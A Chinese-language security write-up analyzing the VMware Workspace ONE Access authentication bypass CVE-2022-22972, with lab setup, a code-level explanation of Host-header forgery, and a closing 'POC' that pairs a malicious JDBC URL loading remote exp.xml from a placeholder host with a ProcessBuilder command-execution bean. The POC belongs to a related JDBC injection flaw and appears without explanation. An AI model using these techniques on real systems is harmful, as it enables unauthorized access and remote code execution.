作者:xxhzz@星闌科技PortalLab
原文鏈接:https://mp.weixin.qq.com/s/zVYQQgDjcwJKAnX8SZJ5Cw
漏洞描述
5 月 18 日,VMware 發布了一份公告 ( VMSA-2022-0014 ),以解決多個 VMware 產品中的兩個漏洞,其中包括CVE-2022-22972,該漏洞在身份認證處理時存在一定缺陷。遠程攻擊者可通過偽造相關請求信息來繞過身份驗證,從而獲取相關應用程序的管理權限。

相關介紹
VMware是一家提供全球桌面到數據中心虛擬化解決方案的廠商,其推出的產品包括我們最熟悉的VMware Workstation,一款桌面虛擬計算軟件。此次漏洞涉及的多個產品介紹如下:
VMware Workspace ONE Access 是 VMware 公司開發的一款智能驅動型數字化工作空間平臺,通過 Workspace ONE Access 能夠隨時隨地在任意設備上輕松、安全地交付和管理任意應用。VMware vRealize Automation 是自動化部署方案云管平臺。VMware Cloud Foundation 是 VMware公司混合云平臺。vRealize Suite Lifecycle Manager 是 vRealize Suite 生命周期和內容管理平臺。
利用范圍
-
VMware Workspace ONE Access 21.08.0.1, 21.08.0.0,20.10.0.1, 20.10.0.0
-
VMware Identity Manager(vIDM) 3.3.6, 3.3.5, 3.3.4, 3.3.3
-
VMware vRealize Automation(vIDM) 7.6
-
VMware Cloud Foundation (vIDM) 4.4, 4.3.x, 4.2.x, 4.1, 4.0.x
-
VMware Cloud Foundation (vRA) 3.x
-
vRealize Suite Lifecycle Manager(vIDM) 8.x
漏洞分析
簡單回顧下CVE-2022-22954( VMware Workspace ONE Access SSTI漏洞),屬于模板注入漏洞,惡意攻擊者可以利用此漏洞在未經過身份驗證的情況下進行遠程任意代碼執行;CVE-2022-22957(VMware Workspace ONE Access JDBC注入漏洞),由于相關參數完全可控,惡意攻擊者可實行JDBC注入,通過寫入任意文件等方式獲取系統權限。此次的CVE-2022-22972,同樣選擇VMware Workspace ONE Access漏洞版本來進行分析,并詳細記錄環境搭建和漏洞分析復現過程。
環境搭建
先從官網(https://customerconnect.vmware.com/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1269)下載VMware Workspace ONE Access 21.08.0.1 OVA文件

使用VMware Workstation導入OVA文件,配置FQDN(主機名設置為隨機域名,不然后續配置數據庫時會報錯)。

導入成功后會進行初始化,完成后出現如下信息。

訪問https://<域名:8443>,根據提示進行賬號和數據庫配置。

按照要求,一步一步完成配置即可。

為搭建動態調試環境,需將相關源碼保存到本地,并使用IDEA開啟遠程調試
需要的lib文件位于/usr/local/horizon/lib/embeddedauthadapters目錄下。

IDEA配置遠程調試。

將遠程調試命令寫入/opt/vmware/horizon/workspace/bin/setenv.sh。

重啟服務之后,配置iptables防火墻,允許數據包通過INPUT鏈和OUTPUT鏈。

最后訪問https://<域名>,到登陸頁面,環境搭建成功。

動態分析
抓取登陸數據包,修改Host頭為tessdadddd后進行重放。

回到vmware中,查看/opt/vmware/horizon/workspace/logs/horizon.log
在日志中發現,vm對任意輸入的host頭,發送了HTTP請求,并且因為無法解析而拋出異常。

同時,根據日志信息中整個認證的調用棧,我們將分析的開端定位在local-password-auth-adapter-0.1.jar中。
分析com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login函數。

在獲取到賬號密碼等信息之后,通過getLocalUrl函數來提取參數endpoint
跟進com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#getLocalUrl函數。

在getLocalUrl函數中,會構造出一個新的HTTPS請求,其中的主機地址則是通過request.getServerName從HOST頭中直接獲取。因此這也為我們繞過認證偽造主機地址創造了條件。
繼續跟進將回到com.vmware.horizon.adapters.local.LocalPasswordAuthAdapter#login
此時的endpoint即為新構造的HTTPS請求,主機名則為我們任意輸入的tessdadddd。

后續,則會調用authenticate函數來完成認證。
在com.vmware.horizon.adapters.local.LocalPasswordService#authenticate中可以發現。

通過之前的HTTPS請求,使用POST方式發送,后續會直接根據請求返回的狀態碼來判斷是否認證成功,若狀態碼為200,即認證成功。因此可通過偽造HOST頭和偽造HTTPS服務器并保證對任何請求返回狀態200,即可實現認證繞過。
漏洞復現
偽造HTTPS服務器,滿足對任意請求都返回200。

修改HOST為偽造的HTTPS服務器地址,成功繞過認證并獲取有效cookie。

POC
jdbc:postgresql://xxx.xxx.com/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://xxx/exp.xml
exp.xml
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value>whoami</value>
</list>
</constructor-arg>
</bean>
</beans>
參考材料
-
https://www.vmware.com/security/advisories/VMSA-2022-0014.html
-
https://y4er.com/post/cve-2022-22972-vmware-workspace-one-access-authentication-bypass-rce/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2031/
暫無評論